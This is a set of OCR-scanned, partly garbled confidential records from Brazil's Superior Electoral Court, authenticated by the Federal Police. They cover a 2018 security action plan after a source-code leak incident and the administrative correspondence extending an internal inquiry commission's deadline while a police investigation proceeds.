ы Ш 2118 Notificar os tribunais regionais eleitorais quanto ás ações locais: Trocar senhas de usuários. Definir ( 80% 11 dias Seg 12/1118 Ter27/11/18 CONF КЩ: 
m politica de troca de senhas, Desabiltar servidores de aplicação vulneráveis; Cancelar todas as VPNs a а 
55 2119 ЕЛЕК ааа ао ызаа исык, 9 75% 11 даз Seg 12/11/18 Ter 27/11/18 CONF H E 
E a 
66 v 212 Encaminhar expediente para a Diretoria-Geral solicitando que todos os Fiscais de Contratos do TSE — Y 100% 4 des Seg 1241486: бех 16/1718 | ASAG-TI > 5 
e informem periodicamente à STI situações de desligamentos de colaboradores que fazem uso de Es 
recursos tecnológicos do TSE ° o 
57 22 - Ações de Médio Prazo Q 6% 30 dias Тег 13/11/18 Qui 10/0149 o > 
se | 221 Revisar e implantar uma nova politica de alteração de senhas periodicamente Verificar os Q9 0% 20 dias Qua 28/11/18 Qui 10/01/19 CONF 5 9 
procedimentos de desabilitar contas de servidores e colaboradores desligados e atualizá-los, se Ea 
: ES 
59 $ 222 Avaliar criticidade е aplicar ações para tratamento dos diretórios compartilhados na rede ә 40% 10 dias Ter 20/11/18 Seg0342/8 ^ CONF 5 3 
60 223 Aplicar ações para desativação ou tratamento especifico das aplicações que apresentam 9 75% 10 dias Тег 13/11/18 Ter 27/11/18 SESAP 9 5 
vulnerabilidade o + 
61 @ 224 Notificar CGE sobre as ações e tratamentos a serem aplicados no FiliaWeb ә 10% 10 dias Seg 26/11/18 бед 10/12/18 E 2 
| 225 Elaborar lista ordenada do nivel de vulnerabilidade das aplicações dos TRES As de maior severidade 0% 20 dias Qua 28/11/18 Qui 10/01/19 STI 3 
serão encaminhadas às respectivas administrações regionais com recomendação de desativação 
| 226 Segurança de rede interna: Criar mecanismos de ampliação da proteção dos dados е códigos-fontes @ 0% 20 dias Qua 28/11/18 Qui 10/01/19 CONF 
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Notificar CGE sobre as ações e tratamentos a serem aplicados no Fila Web 

Elaborar lista ordenada do nivel de vulnerabilidade das aplicacóes dos TREs As de maior severidade 
serão encaminhadas às respectivas administrações regionais com recomendação de desativação 
Segurança de rede interna: Criar mecanismos de ampliação da proteção dos dados e códigos-fontes 
mais críticos; Revisar a segmentação e proteção da rede interna do TSE, em relação a VLAN e 
Firewall, permitindo acesso sos usuários devidamente autorizados 

Recomendar adoção do uso de duplo fator de autenticação no acesso a VPN. 

Renovar do convênio com o CEPESq 


Comparar as últimas versões do GEDALUe com a versão que foi lacrada, bem como as intervenções 
realizadas no repositório de códigos-fonte nos meses de agosto e setembro de 2018 


Aplicar políticas de segurança na sala da ОАВ 
Reavaliar aplicação de firmware 
Solicitar regularização do dominio aos Tribunais que ainda fazem uso do domínio antigo .gov br 
Solicitar a Diretoria-Geral apoio para a criação de unidade de segurança de tecnologia e da 
informação no âmbito da STI 
Formalizar o Comité de Seguranca da Informacáo 
Formalizar a Equipe de Tratamento e Resposta a Incidentes - ЕТІН 
- Ações de Longo Prazo 


Realizar investimentos em atualização tecnológica: Web application firewall Análise de segurança de (J) 
código fonte, Atualização das versões das soluções 


especifico para o direcionamento à Polícia Federal 


Transferir para а Coinf a responsabilidade da administração de hardware e SO do servidor de Q 
integração continua Sevin 

Adicionar mais de um critério de autenticação Q 
Verificar se a regularização do dominio "из br” foi realizada pelos Tribunais Regionais @ 


#9 


z 


2 2922 9292 992 


z 


22 


10 dias 
20 dias 


20 dias 


20 dias 
20 dias 
20 dias 


20 dias 
20 dias 
20 dias 
0 dias 


0 dias 
0 dias 
60 dias 
60 dias 


60 dias 


60 dias 


60 dias 
60 dias 


Seg 26/11/18 
Qua 28/11/18 


Qua 28/11/18 


Qua 28/11/18 
Qua 28/11/18 
Qua 28/11/18 


Оиз 28/11/18 
Qua 28/11/18 
Qua 28/11/18 
Qui 10/01/18 


Qui 10/01/18 
Qui 10/01/19 
Sex 11/01/19 
Sex 11/01/19 


Sex 11/01/19 


Sex 11/01/19 


Sex 11/01/19 
Sex 11/01/19 


Sigiloso 


Seg 10/12/18 SR/PF/DF 
Qui 10/01/3020 - 0013195 


Qui 10/01/18 


Qui 10/01/19 
Qui 10/01/19 
Qui 10/01/19 


Qui 10/01/19 
Qui 10/01/19 
Qui 10/01/19 
Qui 1001/19 


Qui 10/01/19 
Qu 1001/19 
Qui 04/0449 
Qui 04/04/19 


Qui 04/04/19 


Qui 04/04/19 


Qui 04/04/19 
Qui 04/04/19 


CONF 


11 da Lei 11.419/2006. 


17933, em 04/11/2020, às 11h20. 


Este documento tem o mesmo valor probante do original apresentado, nos termos do 8 19 do Art. 
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5 
de iniciativa - RDIn 
TSE 
PA2018 - Ampliação das Proteções de Segurança 
Identificação 
1. Identificação da iniciativa 
Tipo de iniciativa: Plano de Ação É 5 
Cliente: Giuseppe Dutra Janino - STI S E 
- #8 
Unidade executora: TSE.STI қ S 
Gerente da iniciativa: Marcelo Lauriano Lúcio i S 
š Cronograma CS 
Período de referéncia do RDIn: 07/11/2018 - 23/11/2018 аа em: 21/11/2018 да 
RDin gerado рог: Wylker Silveira Barros Geração do RDin: 23/11/2018 MEC 
ко 
2. Dados de ехесисао da iniciativa за 




















Duração Início Término д 
Cronograma planejado 155 dias 07/11/2018 11/04/2019 E 
Cronograma previsto 155 dias (conforme planejado) 07/11/2018 11/04/2019 я 
3. Datas de formalizacáo na СТТ! 4. Indicadores 
Iniciação 21/11/2018 Entregas* » 100% 
Planejamento 21/11/2018 Prazo** 2 83% 





* Percentual das entregas planejadas no periodo de referéncia 
** Percentual do trabalho planejado no período de referéncia 


Cálculo e legenda dos indicadores 





LEONARDO BRUCE MADUREIRA LOPES, 


Nº Entregas Realizadas 


айы. ед. ri өкі. > 90% 
Nº Entregas Planejadas 


ө 
m > 70% «9096 
%Сопсімійо Planejado СФ  Nàáoapurado | 


Indicador de entregas - 


Indicador de prazo - 








5. Curva "S" — Prazo 


Este documento tem o mesmo valor probante do original apresentado, nos termos do $ 19 


Autenticado por Escrivao de Policia Federal, 





0% L z c— €: - к = 
06/11/2018 08/11/2018 10/11/2018 12/11/2018 14/11/2018 16/11/2018 18/11/2018 20/11/2018 22/11/2018 24/11/2018 26/11/2018 
= Planejado Realizado 
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Tribunal Superior Eleitoral 
Metodologia de Gerenciamento de Projetos Relatório de desempenho 


de iniciativa - RDIn 
TSE 


PA2018 - Ampliação das Proteções de Segurança 


Riscos Ativos 


11 da Lei 11.419/2006. 


1. Riscos por criticidade 


17933, em 04/11/2020, às 11n20. 


MATRÍCULA: 





60) (SZ | ориелошәүү oe ejsodsaJ) || S | LZ ориегошей 


1 z IATA 
| Alta | Média | Ваїха 
'Quantitativo 0 6 0 





2. Riscos com criticidade alta ou em nível de CTTI ou DG 


te do original apresentado, nos termos do $ 1? do Art. 
LEONARDO BRUCE MADUREIRA LOPES, 


15 


Eventos futuros incertos que podem afetar um ou mais objetivos do projeto. Neste relatório, sào mostrados os riscos de alta criticidade е aqueles escalonados à СТТІ ou à DG. d 
Data de E Nivel de Última atualização 5 
Identificação сива Efeito cm de Escalonamento realizada É % 

А 199/тт/аааа] + 

Projeto пао possui riscos de alta criticidade, nem escalonados а CTTI ou DG a 

dd/mm/aaaa]" a 





Este documento tem o mesm 
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Tribunal Superior Eleitoral 
Metodologia de Gerenciamento de Projetos Relatório de desempenho SR/PF T 
de iniciativa - RDIn 2020588 


TSE 


PA2018 - Ampliação das Proteções de Segurança 


Entregas 


11 da Lei 11.419 


1. Principais entregas' no período 07/11/2018 - 23/11/2018 


ө Com atraso * Em dia ou adiantado ® Atividade sem linha de base 





% de Início Término Inicio Real ou Término Real А 
Conclusão vo Planejado  Planejado? Previsto? ou Previsto“ 9 "a 
(7100,00% Elaborar PA Abertura 08/11/2018 21/11/2018 08/11/2018 21/11/2018 






















Aprovação do PA Abertura 21/11/2018 21/11/2018 21/11/2018 21/11/2018 
Desligamento dos servicos do servidor 
de build 
Desligamento dos equipamentos do 
) ambiente de apresentação dos códigos- 07/11/2018 07/11/2018 07/11/2018 07/11/2018 
fonte 
Bloqueio das contas da SEVIN nos 


Е equipamentos servidores APP UF dos 07/11/2018 07/11/2018 07/11/2018 07/11/2018 
= tribunais regionais eleitorais 

+ 10000% DR PENAT AMANT THEM 07/11/2048 07/11/2018 07/1/2048 07/11/2018 
o Reunião preliminar com a Policia 
Federal 

Estabelecer o escritório de crise com 
reuniões diárias 

Elaborar relatório complementar para a 
Polícia Federal 





07/11/2018 07/11/2018 07/11/2018 07/11/2018 





(2161860) (са ориелошәүңү ов #з095е1) |] S |12 ориелошәјд 





07/11/2018 07/11/2018 07/11/2018 07/11/2018 





07/11/2018 12/11/2018 07/11/2018 12/11/2018 





12/11/2018 12/11/2018 12/11/2018 12/11/2018 





Elaborar lista ordenada do nivel de 

vulnerabilidade das aplicações do TSE. 

As de maior severidade serão 12/11/2018 12/11/2018 12/11/2018 12/11/2018 
encaminhadas à administração do TSE 

com recomendação de desativação 


Trocar senhas de rede de todos os Em 19/11/2018 já haviam sido alteradas 1.400 contas de 
2 9000. usuários 12/11/2018 23/11/2018 12/11/2018 23/11/2018 quoe 
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S ! | 
Tribunal Superior Eleitoral Bw 


Metodologia de Gerenciamento de Projetos Relatório de desempenho SR/P 
de iniciativa - RDIn 2020.00 





TSE 

















р Desabilitar VPNs, exceto das 
© 100,00% хаан 13/11/2018 13/11/2018 13/11/2018 13/11/2018 





Foi aberto o Processo SEI n? 2018.00.000014771-4 e será 
encaminhada Informação ao Diretor-Geral para confirmação 
da agenda da Presidente para assinar os programas no dia 
13/12 às 18h e convidar os partidos e outras instituições. 
Caso a Presidente tenha agenda livre, a Cerimônia de 
Assinatura Digital e Lacração de Sistemas será realizada de 
11 a 13/12, com assinatura das autoridades no dia 13, às 
18h. 


Planejar uma nova lacração 12/11/2018 23/11/2018 12/11/2018 23/11/2018 


Avaliar o risco sobre o vazamento do 
. 10000% GEDALUE 12/11/2018 16/11/2018 12/11/2018 16/11/2018 


Mapear os compartilhamentos de pastas 


: 12/11/2018 19/11/2018 12/11/2018 19/11/2018 
E locais 





Notificar os usuários e acompanhar os 
Е riscos da utilização de pastas 12/11/2018 16/11/2018 12/11/2018 16/11/2018 Notificação realizada em 16/11/2018. 
compartilhadas 
y, Verificar os equipamentos que estão 
~ como antivirus desabilitado 
Elaborar estudo de viabilidade: 
Divulgação do código da urna e do 12/11/2018 16/11/2018 12/11/2018 16/11/2018 
GEDAI 
Notificar os usuários е chefes de seção 
sobre os equipamentos com antivirus 
desabilitado quanto aos riscos para a 
Instituição 








12/11/2018 13/11/2018 12/11/2018 13/11/2018 





12/11/2018 19/11/2018 12/11/2018 19/11/2018 





Notificar os tribunais regionais eleitorais 
quanto às acóes locais: Trocar senhas 
de usuários; Definir política de troca de 
senhas; Desabilitar servidores de 
aplicação vulneráveis; Cancelar todas as 
VPNs 


12/11/2018 23/11/2018 12/11/2018 23/11/2018 





Segurança de perimetro: Revisar os 
mecanismos de seguranca adotados 12/11/2018 23/11/2018 12/11/2018 23/11/2018 
pelo TSE e TREs no acesso de internet 
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Tribunal Superior Eleitoral 
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de iniciativa - RDIn 2020.00 
TSE 

Encaminhar expediente para a Diretoria- 
Geral solicitando que todos os Fiscais 
de Contratos do TSE informem Foi aberto o Processo SEI n? 2018.00.000014678-5 e, por 
periodicamente à STI situacóes de 12/11/2018 16/11/2018 12/11/2018 16/11/2018 meio do Despacho GAB-DG 0912812, o Diretor-Geral 
desligamentos de colaboradores que encaminhou a solicitação à SAD para providências. 
fazem uso de recursos tecnológicos do 
TSE 








Avaliar criticidade e aplicar ações para 
0,00% | tratamento dos diretórios compartilhados 20/11/2018 03/12/2018 20/11/2018 03/12/2018 
na rede 








Aplicar ações para desativação ou 
0,00% | tratamento especifico das aplicações 13/11/2018 27/11/2018 13/11/2018 27/11/2018 
que apresentam vulnerabilidade 





* Consideram-se como entregas aquelas atividades do projeto que produzem produtos tangíveis, resultados ou serviços, os quais possuem valor 
mensurável e observável ao cliente do projeto, ou que sejam de seu especial interesse para acompanhamento. 

? Término Planejado é determinado quando é feito o planejamento do cronograma, podendo ser replanejado no decorrer da iniciativa. 

* Consideram-se como Início Real entregas já iniciadas. Caso a entrega ainda não tenha sido iniciada, considera-se Início Previsto. 

4 Consideram-se como Término Real entregas concluídas. Caso a entrega ainda não tenha sido conluída, considera-se Término Previsto. 


Considerações 
Plano de ação formalizado em 21/11/2018. As atividades estão em andamento, conforme planejado. 
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11 da Lei 11.419/ 
17933, em 04/11/2020, às 11h20. 


Este documento tem o mesmo valor probante do original apresentado, nos termos do 8 1? do Art. 


SO 


MATRÍCULA: 


LEONARDO BRUCE MADUREIRA LOPES, 


Autenticado por Escrivao de Policia Federal, 


Sigiloso 


SR/PF/DF 
2020.0043195 





TRIBUNAL SUPERIOR ELEITORAL 


DESPACHO 


Senhora Ministra Presidente, 


Visando ao cumprimento da Portaria-TSE n? 976/2018, а Comissão de Sindicância oficiou ao 
Departamento de Polícia Federal, em 20/11/2018, solicitando o compartilhamento dos resultados 
da investigação promovida por aquele órgão envolvendo os fatos descritos na Informação nº 32 
STI, solicitação que, por não ter sido atendida até o momento, foi renovada nesta data. 


Assim, tendo em vista o esgotamento do prazo originariamente fixado para conclusão do trabalho 
atribuído à Comissão de Sindicância, solicito a Vossa Excelência a prorrogação daquele prazo. 


Respeitosamente, 


RICARDO FIOREZE 


Presidente da Comissão de Sindicância 


RICARDO FIOREZE 
JUIZ AUXILIAR DA PRESIDÊNCIA DO TRIBUNAL SUPERIOR ELEITORAL 
| Documento assinado eletronicamente em 31/01/2019, às 20:12, conforme art. 1º, 829, Ш, 
b, da Lei 11.419/2006. 
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Este documento n o mesmo valor probante do original apresentado, nos termos do § 1° do Art. 11 da Lei 11.419/2006. 
Autenticado por Escrivao de Policia Federal, LEONARDO BRUCE MADUREIRA LOPES, MATRÍCULA: 17933, em 04/11/2020, às 11h20. 


Sigiloso 


SR/PF/DF 
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TRIBUNAL SUPERIOR ELEITORAL 
Ofício n? 296 GAB-SPR 
Brasília, 01 de fevereiro de 2019. 


A Sua Exceléncia o Senhor 

Dr. MAURÍCIO LEITE VALEIXO 
Diretor-Geral da Polícia Federal 
Brasília - DF 


Assunto: Ofício nº 5825 GAB-SPR. Medidas de polícia judiciária. 
Senhor Diretor-Geral, 


Reiterando o Ofício nº 5979 GAB-SPR, de 20/11/2018, solicito a gentileza de, em 
caráter reservado, serem enviados a mim os resultados da investigação promovida por esse 
Departamento envolvendo as informações constantes na Informação nº 32 STI, enviadas a esse 
Departamento por meio do Ofício nº 5825 GAB-SPR. 


Atenciosamente, 


RICARDO FIOREZE 
Juiz Auxiliar da Presidência 


Presidente da Comissão de Sindicância 


RICARDO FIOREZE 
JUIZ AUXILIAR DA PRESIDÊNCIA DO TRIBUNAL SUPERIOR ELEITORAL 
| Documento assinado eletronicamente em 04/02/2019, às 09:33, conforme art. 1º, 82% ІШ, 
b, da Lei 11.419/2006. 


Autenticado por Escrivao de Policia Federal, LEONARDO BRUCE MADUREIRA LOPES, MATRÍCULA: 17933, em 04/11/2020, às 11h20. 


Este documento tem o mesmo valor probante do original apresentado, nos termos do S 1º do Art. 11 da Lei 11.419/2006. 





A autenticidade do documento pode ser conferida em 
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та acao=documento conferir&id orgao acesso externo-0&cv-0963982&crc-B7C9F9BA, 
а informando, caso não preenchido, o código verificador 0963982 e o código CRC 
B7C9F9BA. 
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TRIBUNAL SUPERIOR ELEITORAL 


Portaria TSE nº 84 de 01 de fevereiro de 2019. 


A PRESIDENTE DO TRIBUNAL SUPERIOR ELEITORAL, tendo em vista o 
contido no Processo SEI nº 2018.00.000014309-3, 


RESOLVE: 


prorrogar, por sessenta dias, o prazo para conclusão dos trabalhos da Comissão de 
Sindicância instituída pela Portaria-TSE 976, de 08.11.2018. 


Ministra ROSA WEBER 


2018.00.000014309-3 Documento nº 0963985 v1 


Este documento tem o mesmo valor probante do original apresentado, nos termos do S 19 do Art. 11 da Lei 11.419/2006. 
Autenticado por Escrivao de Policia Federal, LEONARDO BRUCE MADUREIRA LOPES, MATRÍCULA: 17933, em 04/11/2020, às 11h20. 
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TRIBUNAL SUPERIOR ELEITORAL 
Ofício n? 296 GAB-SPR 
Brasília, 01 de fevereiro de 2019. 


А Sua Exceléncia o Senhor 

Dr. MAURÍCIO LEITE VALEIXO 
Diretor-Geral da Polícia Federal 
Brasília - DF 


11 da Lei 11.419/2006. 
em 04/11/2020, às 11h20. 


Assunto: Ofício пе 5825 GAB-SPR. Medidas de polícia judiciária. 


do Art. 


Senhor Diretor-Geral, 


Reiterando o Ofício n? 5979 GAB-SPR, de 20/11/2018, solicito a gentileza de, em 
caráter reservado, serem enviados a mim os resultados da investigacáo promovida por esse 
Departamento envolvendo as informações constantes na Informação n? 32 STI, enviadas 
a esse Departamento por meio do Ofício n? 5825 GAB-SPR. 


Atenciosamente, 


LEONARDO BRUCE MADUREIRA LOPES, MATRÍCULA: 17933, 


RICARDO FIOREZE 
Juiz Auxiliar da Presidéncia 


Presidente da Comissão de Sindicância 


RICARDO FIOREZE 
JUIZ AUXILIAR DA PRESIDÊNCIA DO TRIBUNAL SUPERIOR ELEITORAL 


“| Documento assinado eletronicamente em 04/02/2019, às 09:33, conforme art. 1º, 82º, III, 
b, da Lei 11.419/2006. 


srt + https: //seitse,jus.br/sei/controlador externo.php? 
acao-documento conferir&id orgao acesso externo=08:cv=0963982écrc=B7C9F9BA, 
à informando, caso não preenchido, o código verificador 0963982 e o código CRC 





Este documento tem o mesmo valor probante do original apresentado, nos termos do S 1º 


Autenticado por Escrivao de Policia Federal, 
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TRIBUNAL SUPERIOR ELEITORAL 
Portaria TSE n? 84 de 01 de fevereiro de 2019. 


A PRESIDENTE DO TRIBUNAL SUPERIOR ELEITORAL, tendo em vista o contido no 
Processo SEI n? 2018.00.000014309-3, 


RESOLVE: 


11 da Lei 11.419/2006. 


17933, em 04/11/2020, às 11h20. 


prorrogar, por sessenta dias, o prazo para conclusão dos trabalhos da Comissão de 
Sindicância instituída pela Portaria-TSE 976, de 08.11.2018. 


| Z (м E 


Ministrá ROSA WEBER 


MATRÍCULA: 





2018.00.000014309-3 Documento n? 0963985 v1 


LEONARDO BRUCE MADUREIRA LOPES, 


Este documento tem o mesmo valor probante do original apresentado, nos termos do S 1? do Art. 


Autenticado por Escrivao de Policia Federal, 
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Sigiloso 


E-mail - 0969863 SR/PF/DF 


2020.0043195 


Data de Envio: 
08/02/2019 18:30:30 


De: 
TSE/Presidência <presidenciaotse.jus.br> 


Para: 
ricardo.fioreze(tse.jus.br 
fernando.mello(tse.jus.br 
daniel.correa(gtse.jus.br 


Assunto: 
Portaria TSE n9 84 


Mensagem: 

Senhores Membros, 
De ordem, informo a todos que foi prorrogada, por sessenta dias, o prazo para conclusão dos trabalhos dé 
Comissão de Sindicância instituída pela Portaria-TSE 976, de 08.11.2018. 


17933, em 04/11/2020, às 11h20. 


A Portaria será publicada no DJE em 12/02/2019. 


Respeitosamente, 


MATRÍCULA: 


Sérgio Trés 

Secretaria-Geral da Presidéncia 
Tribunal Superior Eleitoral 
Telefone (61) 3030-7837 


Anexos: 
Portaria 0969851 Portaria 84.pdf 


Este documento tem o mesmo valor probante do original apresentado, nos termos do 8 1? do АФ: 11 da Lei 11.419/2006. 


Autenticado por Escrivao de Policia Federal, LEONARDO BRUCE MADUREIRA LOPES, 


Sigiloso 


Ano 2019, Número 030 Brasília, terça-feira, 12 de fevereiro de 2019 PágiRÁPE /DF' 
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Atos da Presidéncia 
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Portaria Өй © 
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Prorrogação. Prazo. Trabalhos. Comissão de Sindicância. AQ 
Ф Ti 
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Portaria TSE nº 84 de 01 de fevereiro de 2019. Ра 
938 

= 8 

Ф 

A PRESIDENTE DO TRIBUNAL SUPERIOR ELEITORAL, tendo em vista o contido no Processo SEI n? 2018.00.000014309-3, + 2 
< o 

RESOLVE: 9 


prorrogar, por sessenta dias, o prazo para conclusão dos trabalhos da Comissão de Sindicância instituída pela Portaria-TSE 976, 
de 08.11.2018. 


MATRÍCULA: 


Ministra ROSA WEBER 


SECRETARIA JUDICIÁRIA 








Coordenadoria de Registros Partidários, Autuação e Distribuição 


Decisão monocrática 


PUBLICAÇÃO DE DECISÃO Nº 4/2019 CPADI 

PRESTAÇÃO DE CONTAS Nº 256-12.2015.6.00.0000 BRASÍLIA-DF 

REQUERENTE: PARTIDO TRABALHISTA NACIONAL (PTN) - NACIONAL / PODEMOS (PODE) - NACIONAL 
ADVOGADOS: JOELSON COSTA DIAS - OAB: 10441/DF E OUTROS 

REQUERENTE: JOSÉ MASCI DE ABREU, PRESIDENTE 


Este documento tem o mesmo valor probante do original apresentado, nos termos do S 1º 


ADVOGADOS: JOELSON COSTA DIAS - OAB: 10441/DF E OUTROS 


Autenticado por Escrivao de Policia Federal, LEONARDO BRUCE MADUREIRA LOPES, 


REQUERENTE: MÁRCIA MARTINS PEREIRA CRAVO, TESOUREIRO 
ADVOGADOS: JOELSON COSTA DIAS - OAB: 10441/DF E OUTROS 
REQUERENTE: FÁTIMA DE JESUS CHAVES, CONTABILISTA 
ADVOGADOS: JOELSON COSTA DIAS - OAB: 10441/DF E OUTROS 
MINISTRO GERALDO OG NICEAS MARQUES FERNANDES 
PROTOCOLO: 8.715/2015 





Diário da Justiça Eletrônico do Tribunal Superior Eleitoral. Documento assinado digitalmente conforme MP n. 2.200-2/2001, de 24.8.2001, que institui a Infra 
estrutura de Chaves Públicas Brasileira - ICP-Brasil, podendo ser acessado no endereço eletrônico http://www .tse.jus.br 


Sigiloso 
rl. 326 
E-mail - 0982691 SR/PF/DF 


2020.0043195 


Data de Envio: 
25/02/2019 15:59:29 


De: 
TSE/Presidéncia «presidencia(tse.jus.br» 


Para: 
dg@dpf.gov.br 
aedg@dpf.gov.br 
cgab@dpf.gov.br 


às 11h20. 


Assunto: 
Ofícios 5979/2018 e 296/2019 


Mensagem: 
Prezados Senhores, 


11 da Lei 11.419/2006. 


em 04/11/2020, 


De ordem, solicito a gentileza de ser informado o andamento dado aos documentos encaminhados ao 
Departamento da Polícia Federal, relativamente aos ofícios 5979/2018 e 296/2019, considerando-se os 
prazos a serem observados pela Comissão de Sindicância do TSE. 


do Art. 


Havendo alguma previsão para o atendimento, favor informar adicionalmente. 


Atenciosamente, 


Sérgio Trés 

Secretaria-Geral da Presidência 
Tribunal Superior Eleitoral 
Telefone (61) 3030-7837 


Anexos: 
Oficio 0911585.html 
Oficio 0913985 Oficio 5825.pdf 
E mail 0918365.html 
Oficio 0963982.html 
Oficio 0965808 OF 296 GAB SPR.pdf 


LEONARDO BRUCE MADUREIRA LOPES, MATRÍCULA: 17933, 


Este documento tem o mesmo valor probante do original apresentado, nos termos do $ 1? 


Autenticado por Escrivao de Policia Federal, 


Sigiloso 





SR/PF /DF 

Sérgio Carlos Trés E Silva —— CO toe 
De: Presidencia 
Enviado em: quinta-feira, 28 de fevereiro de 2019 17:07 
Para: Sérgio Carlos Trés E Silva 
Assunto: ENC: Envio do Ofício n° 1468/2019 - IPL 1361/2018-4 SR/PF/DF, para o devido 

conhecimento. 
Anexos: 28021900.PDF 


De: edvaldo souza nascimento Nascimento [mailto:edwalldi06 @gmail.com] 33 
Enviada em: quinta-feira, 28 de fevereiro de 2019 16:42 ` S 
Para: Presidencia A 
Assunto: Envio do Ofício n? 1468/2019 - IPL 1361/2018-4 SR/PF/DF, para o devido conhecimento. Sa 
d “ы 
vs 
2g 
A Sua Exceléncia, o Senhor m e 
< © 
Sa 


RICARDO FIOREZE 


Juiz Auxiliar da Presidência do Tribunal Superior Eleitoral 


MATRÍCULA: 


BRASÍLIA/DF 


De ordem do Excelentíssimo Senhor Delegado de Polícia Federal HUGO DE BARROS CORREIA, encaminho a Vossa Excelência 
o Ofício nº 1468/2019 - IPL 1361/2018-4 SR/PF/DF, para o devido conhecimento. 


Por oportuno, solicito a V.Exa, que confirme o recebimento deste expediente através deste e-mail. 


Respeitosamente, 


EDVALDO SOUZA NASCIMENTO 


ESCRIVÃO DE POLÍCIA FEDERAL 


MATRÍCULA Nº 926 - ESPECIAL 


TELEFONE SR/PF/DF - DELEFAZ 


Este documento tem o mesmo valor probante do original apresentado, nos termos do 5 1? 
Autenticado por Escrivao de Policia Federal, LEONARDO BRUCE MADUREIRA LOPES, Í : 


(61) 20247595 
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RPE DF 
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2020. Да 





SERVICO PÜBLICO FEDERAL 
MSP - POLÍCIA FEDERAL 


SUPERINTENDÉNCIA REGIONAL NO DISTRITO FEDERAL 
SAIS Quadra 7 - Lote 23 - Setor Policial Sul - Brasília/DF - CEP 70.610-902 


Ofício n? 1468/2019 - IPL 1361/2018-4 SR/PF/DF - GRCC 


Brasília/DF, 26 de fevereiro de 201 


eo 


em 04/11/2020, ás 11h20. 


A Sua Exceléncia, o Senhor 

RICARDO FIOREZE 

Juiz Auxiliar da Presidéncia do Tribunal Superior Eleitoral 

Setor de Administração Federal Sul (SAFS), Quadra 7, Lotes 1/2- Tel.: (61) 3030-70 
CEP.: 70070-600 - Brasilia/DF 


© da Lei 11.419/200 


0 


Assunto: Solicitação de informações 
Ref.: IPL 1361/2018-4 - SR/PF/DF - (Favor citar essa referência na resposta) 


Senhor Juiz Auxiliar, 


Visando instruir os autos do Inquérito Policial nº 1361/2018-4 
SR/PF/DF, informo a Vossa Excelência que o inquérito está em andamento, restan 
pendente, atualmente, análise por parte do Serviço de Repressão a Crim 
Cibernéticos do material encaminhado pelo TS 


€3entado, nos termos do S 1º do Art 


o 






Atenciosamente, 


y / R NEVES FEITOSA CAMPOS 
Delegado de Polícia Federal 
Classe Especial - Matrícula n? 16.179 


sC 

e parto 

Hugo " de Policia q... 

Dele O АА! 
air 


Este documento tem o mesmo valor probante do original арг 
Autenticado por Escrivao de Policia Federal, LEONARDO в се MADUREIRA LOPES, MATRÍCULA: 17933, 


IPLI 4899/2088 136 J. 4s. 1/1 


Sigiloso 


SR/PF/DF 
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TRIBUNAL SUPERIOR ELEITORAL 


DESPACHO 
Senhora Ministra Presidente, 5 Е 
Visando ao cumprimento да Portaria-TSE nº 976/2018, a Comissão de Sindicância p a 
oficiou ao Departamento de Polícia Federal, em 20/11/2018, solicitando o д 3 
compartilhamento dos resultados da investigação promovida por aquele órgão э 8 
envolvendo os fatos descritos na Informação n? 32 STI. E 


Em resposta àquela solicitação, o Departamento de Polícia Federal informou que о 
inquérito lá instaurado se encontra em tramitação, no aguardo de análise, por parte 


de área especializada daquele órgão, do material enviado por este Tribunal. 


Assim e dada a conveniência de aguardo do resultado da análise antes mencionada, 
tendo em vista o iminente esgotamento do prazo por último fixado para conclusão 
do trabalho atribuído à Comissão de Sindicância, solicito a Vossa Excelência a 
prorrogação daquele prazo. 


Respeitosamente, 


LEONARDO BRUCE MADUREIRA LOPES, MATRÍCULA: 17933, 


RICARDO FIOREZE 


Presidente da Comissão de Sindicância 


RICARDO FIOREZE 


JUIZ AUXILIAR DA PRESIDÊNCIA DO TRIBUNAL SUPERIOR 
ELEITORAL 





Documento assinado eletronicamente em 28/02/2019, às 18:50, 
conforme art. 1º, 822, Ш, b, da Lei 11.419/2006. 


Este documento tem o mesmo valor probante do original apresentado, nos termos do $ 1? 


Autenticado por Escrivao de Policia Federal, 





F 
75B32663. 
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Sigiloso 
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TRIBUNAL SUPERIOR ELEITORAL 


Portaria TSE nº 173 de 28 de fevereiro de 2019. 


A PRESIDENTE DO TRIBUNAL SUPERIOR ELEITORAL, tendo em vista o 
contido no Processo SEI n? 2018.00.000014309-3, 


RESOLVE: 


prorrogar, por sessenta dias, o prazo para conclusáo dos trabalhos da Comissáo de 
Sindicância instituída pela Portaria-TSE 976, de 08.11.2018. 


Ministra ROSA WEBER 


2018.00.000014309-3 Documento n? 0986630 v1 


Este documento tem o mesmo valor probante do original apresentado, nos termos do 8 19 do Art. 11 da Lei 11.419/2006. 
Autenticado por Escrivao de Policia Federal, LEONARDO BRUCE MADUREIRA LOPES, MATRÍCULA: 17933, em 04/11/2020, às 11h20. 


Sigiloso 
кі. 334 

SR/PF/DF 
2020.0043195 





TRIBUNAL SUPERIOR ELEITORAL 
Portaria TSE n? 173 de 28 de fevereiro de 2019. 


A PRESIDENTE DO TRIBUNAL SUPERIOR ELEITORAL, tendo em vista o contido no q s 
Processo SEI n? 2018.00.000014309-3, а я 
RESOLVE: 5 Е 

s š 

prorrogar, por sessenta dias, o prazo para conclusão dos trabalhos da Comissão de = в 
Sindicância instituída pela Portaria-TSE 976, de 08.11.2018. É G 
“a 

' sa 

(A Waban E 

Ministra ROSA WEBER $ Е 





2018.00.000014309-3 Documento n? 0986630 v1 


LEONARDO BRUCE MADUREIRA LOPES, 


Este documento tem o mesmo valor probante do original apresentado, 


Autenticado por Escrivao de Policia Federal, 


Portaria 173 assinada (0987370) SEI 2018.00.000014309-3 / pg. 57 


Sigiloso 


Ano 2019, Número 044 Brasília, quarta-feira, 6 de março de 2019 PágiRAPE /DF' 


2020.0043195 
Portaria 


Prorrogação. Trabalhos. Comissão de Sindicância. 


Portaria TSE nº 173 de 28 de fevereiro de 2019. 


A PRESIDENTE DO TRIBUNAL SUPERIOR ELEITORAL, tendo em vista o contido no Processo SEI nº 2018.00.000014309-3, 


RESOLVE: 
4-4 
о 3 
prorrogar, por sessenta dias, o prazo para conclusão dos trabalhos da Comissão de Sindicância instituída pela Portaria-TSE 976, S jl 
de 08.11.2018. a 
ча 
а 8 
од 
ы A 
33 
Ministra ROSA WEBER — 
=$ 
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Assessoria de Plenário 


Pauta de Julgamento 


MATRÍCULA 


PAUTA DE JULGAMENTO N? 15/2019 


Elaborada nos termos do artigo 18 da Resolução-TSE n° 23.478/2016, para julgamento dos processos abaixo relacionados. 


Pauta da Sessão Ordinária Jurisdicional de 12 de março de 2019. 


